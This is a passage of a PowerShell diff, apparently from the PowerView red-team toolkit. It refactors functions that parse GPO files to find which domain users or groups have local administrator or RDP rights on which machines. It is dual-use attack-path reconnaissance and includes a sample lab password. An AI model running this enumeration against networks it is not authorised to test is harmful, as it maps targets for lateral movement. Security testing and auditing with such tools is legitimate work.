group membership is set through Group Policy Preferences groups.xml files. For any - GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' - section data is processed if present. Any found Groups.xml files are parsed with - Get-GroupsXML and those memberships are returned as well. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER GPOname +.PARAMETER SearchBase - The GPO name (GUID) to query for, wildcards accepted. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER DisplayName +.PARAMETER Server - The GPO display name to query for, wildcards accepted. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Domain +.PARAMETER SearchScope - The domain to query for GPOs, defaults to the current domain. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER DomainController +.PARAMETER ResultPageSize - Domain controller to reflect LDAP queries through. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER ADSpath +.PARAMETER ServerTimeLimit - The LDAP source to search through for GPOs. - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER ResolveMemberSIDs +.PARAMETER Tombstone - Switch. Try to resolve the SIDs of all found group members. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER UsePSDrive +.PARAMETER Credential - Switch. Mount any found policy files with temporary PSDrives. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Get-DomainGPOLocalGroup - .EXAMPLE +Returns all local groups set by GPO along with their members and memberof. - PS C:\> Get-NetGPOGroup +.EXAMPLE - Returns all local groups set by GPO along with their members and memberof. +Get-DomainGPOLocalGroup -ResolveMembersToSIDs - .EXAMPLE +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. - PS C:\> Get-NetGPOGroup -ResolveMemberSIDs +.EXAMPLE - Returns all local groups set by GPO along with their members and memberof, - and resolve any members to their domain SIDs. +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup - .EXAMPLE +Return any GPO-set groups for the GPO with the given name/GUID. - PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}' +.EXAMPLE - Return any GPO-set groups for the GPO with the given name/GUID. +Get-DomainGPOLocalGroup 'Desktops' - .EXAMPLE +Return any GPO-set groups for the GPO with the given display name. - PS C:\> Get-NetGPOGroup -DisplayName 'Desktops' +.EXAMPLE - Return any GPO-set groups for the GPO with the given display name. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred - .LINK +.LINK - https://morgansimonsenblog.azurewebsites.net/tag/groups/ +https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] [CmdletBinding()] - Param ( - [String] - $GPOname = '*', + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - [String] - $DisplayName, + [Switch] + $ResolveMembersToSIDs, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSpath, + $SearchBase, - [Switch] - $ResolveMemberSIDs, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $UsePSDrive, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) + $ResultPageSize = 200, - $Option = [System.StringSplitOptions]::RemoveEmptyEntries - - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { - - $GPOdisplayName = $_.displayname - $GPOname = $_.name - $GPOPath = $_.gpcfilesyspath - - $ParseArgs = @{ - 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf 'Restricted Groups' file if it exists - $Inf = Get-GptTmpl @ParseArgs - - if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - $Memberships = @{} + [Switch] + $Tombstone, - # group the members/memberof fields for each entry - ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { - $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # extract out ALL members - $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } - if($ResolveMemberSIDs) { - # if the resulting member is username and not a SID, attempt to resolve it - $GroupMembers = @() - ForEach($Member in $MembershipValue) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach ($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } + $MembershipValue = $GroupMembers } - $MembershipValue = $GroupMembers - } - if(-not $Memberships[$Group]) { - $Memberships[$Group] = @{} - } - if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} - $Memberships[$Group].Add($Relation, $MembershipValue) - } - - ForEach ($Membership in $Memberships.GetEnumerator()) { - if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { - # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name - $GroupSID = $Membership.Key.Trim('*') - if($GroupSID -and ($GroupSID.Trim() -ne '')) { - $GroupName = Convert-SidToName -SID $GroupSID - } - else { - $GroupName = $False + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) } - else { - $GroupName = $Membership.Key - if($GroupName -and ($GroupName.Trim() -ne '')) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - elseif($GroupName.Trim() -ne '') { - $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { - $GroupSID = $Null + $GroupName = $False + } + } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } } } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup } + } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName - $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' - $GPOGroup | Add-Member Noteproperty 'Filters' $Null - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members - $GPOGroup + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } - } - $ParseArgs = @{ - 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'UsePSDrive' = $UsePSDrive - } + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member - Get-GroupsXML @ParseArgs | ForEach-Object { - if($ResolveMemberSIDs) { - $GroupMembers = @() - ForEach($Member in $_.GroupMembers) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } + $_.GroupMembers = $GroupMembers } - $_.GroupMembers = $GroupMembers - } - $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $_ | Add-Member Noteproperty 'GPOName' $GPOName - $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' - $_ + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } } } } -function Find-GPOLocation { +function Get-DomainGPOUserLocalGroupMapping { <# - .SYNOPSIS - - Enumerates the machines where a specific user/group is a member of a specific - local group, all through GPO correlation. +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite - Optional Dependencies: None +.PARAMETER LocalGroup - .DESCRIPTION +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. - Takes a user/group name and optional domain, and determines the computers in the domain - the user/group has local admin (or RDP) rights to. +.PARAMETER Domain - It does this by: - 1. resolving the user/group to its proper SID - 2. enumerating all groups the user/group is a current part of - and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling - Get-NetGPOGroup - 4. matching the target SID list to the queried GPO SID list - to enumerate all GPO the user is effectively applied with - 5. enumerating all OUs and sites and applicable GPO GUIs are - applied to through gplink enumerating - 6. querying for all computers under the given OUs or sites - - If no user/group is specified, all user/group -> machine mappings discovered through - GPO relationships are returned. +Specifies the domain to enumerate GPOs for, defaults to the current domain. - .PARAMETER UserName +.PARAMETER Server - A (single) user name name to query for access. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER GroupName +.PARAMETER SearchScope - A (single) group name name to query for access. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Domain +.PARAMETER ResultPageSize - Optional domain the user exists in for querying, defaults to the current domain. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER DomainController +.PARAMETER ServerTimeLimit - Domain controller to reflect LDAP queries through. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER LocalGroup +.PARAMETER Tombstone - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. Defaults to local 'Administrators'. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER UsePSDrive +.PARAMETER Credential - Switch. Mount any found policy files with temporary PSDrives. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER PageSize +.EXAMPLE - The PageSize to set for the LDAP searcher object. +Find-GPOLocation - .EXAMPLE +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. - PS C:\> Find-GPOLocation +.EXAMPLE - Find all user/group -> machine relationships where the user/group is a member - of the local administrators group on target machines. +Find-GPOLocation -UserName dfm -Domain dev.testlab.local - .EXAMPLE +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. - PS C:\> Find-GPOLocation -UserName dfm - - Find all computers that dfm user has local administrator rights to in - the current domain. +.EXAMPLE - .EXAMPLE +Find-GPOLocation -UserName dfm -Domain dev.testlab.local - PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local - - Find all computers that dfm user has local administrator rights to in - the dev.testlab.local domain. +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. - .EXAMPLE +.EXAMPLE - PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP - - Find all computers that jason has local RDP access rights to in the domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] - Param ( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] - $UserName, + $Identity, [String] - $GroupName, + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $LocalGroup = 'Administrators', - - [Switch] - $UsePSDrive, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) + $Server, - if($UserName) { - # if a group name is specified, get that user object so we can extract the target SID - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 - $UserSid = $User.objectsid - - if(-not $UserSid) { - Throw "User '$UserName' not found!" - } - - $TargetSIDs = @($UserSid) - $ObjectSamAccountName = $User.samaccountname - $TargetObject = $UserSid - } - elseif($GroupName) { - # if a group name is specified, get that group object so we can extract the target SID - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 - $GroupSid = $Group.objectsid - - if(-not $GroupSid) { - Throw "Group '$GroupName' not found!" - } - - $TargetSIDs = @($GroupSid) - $ObjectSamAccountName = $Group.samaccountname - $TargetObject = $GroupSid - } - else { - $TargetSIDs = @('*') - } + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - # figure out what the SID is of the target local group we're checking for membership in - if($LocalGroup -like "*Admin*") { - $TargetLocalSID = 'S-1-5-32-544' - } - elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $TargetLocalSID = 'S-1-5-32-555' - } - elseif ($LocalGroup -like "S-1-5-*") { - $TargetLocalSID = $LocalGroup - } - else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." - } + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to - # get all effective security SIDs this object is a part of - if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { - $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - if(-not $TargetSIDs) { - throw "No effective target SIDs!" - } + [Switch] + $Tombstone, - Write-Verbose "TargetLocalSID: $TargetLocalSID" - Write-Verbose "Effective target SIDs: $TargetSIDs" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } - # enumerate all GPO group mappings for the target domain that involve our target SID set - $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - - $GPOgroup = $_ + PROCESS { + $TargetSIDs = @() - # if the locally set group is what we're looking for, check the GroupMembers ('members') - # for our target SID - if($GPOgroup.GroupSID -match $TargetLocalSID) { - $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { - if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { - $GPOgroup - } + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } - # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs - if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { - if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { - $GPOgroup - } + else { + # no filtering/match all + $TargetSIDs = @('*') } - } | Sort-Object -Property GPOName -Unique - $GPOgroups | ForEach-Object { - - $GPOname = $_.GPODisplayName - $GPOguid = $_.GPOName - $GPOPath = $_.GPOPath - $GPOType = $_.GPOType - if($_.GroupMembers) { - $GPOMembers = $_.GroupMembers + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' } else { - $GPOMembers = $_.GroupSID + # RDP + $TargetLocalSID = 'S-1-5-32-555' } - - $Filters = $_.Filters - if(-not $TargetObject) { - # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - # so all relationship mappings are output - $TargetObjectSIDs = $GPOMembers - } - else { - $TargetObjectSIDs = $TargetObject + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } } - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers } else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + $GPOMembers = $_.GroupSID } - if($OUComputers) { - if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + $Filters = $_.Filters - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'Domain' $Domain - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers - $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $GPOLocation + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + 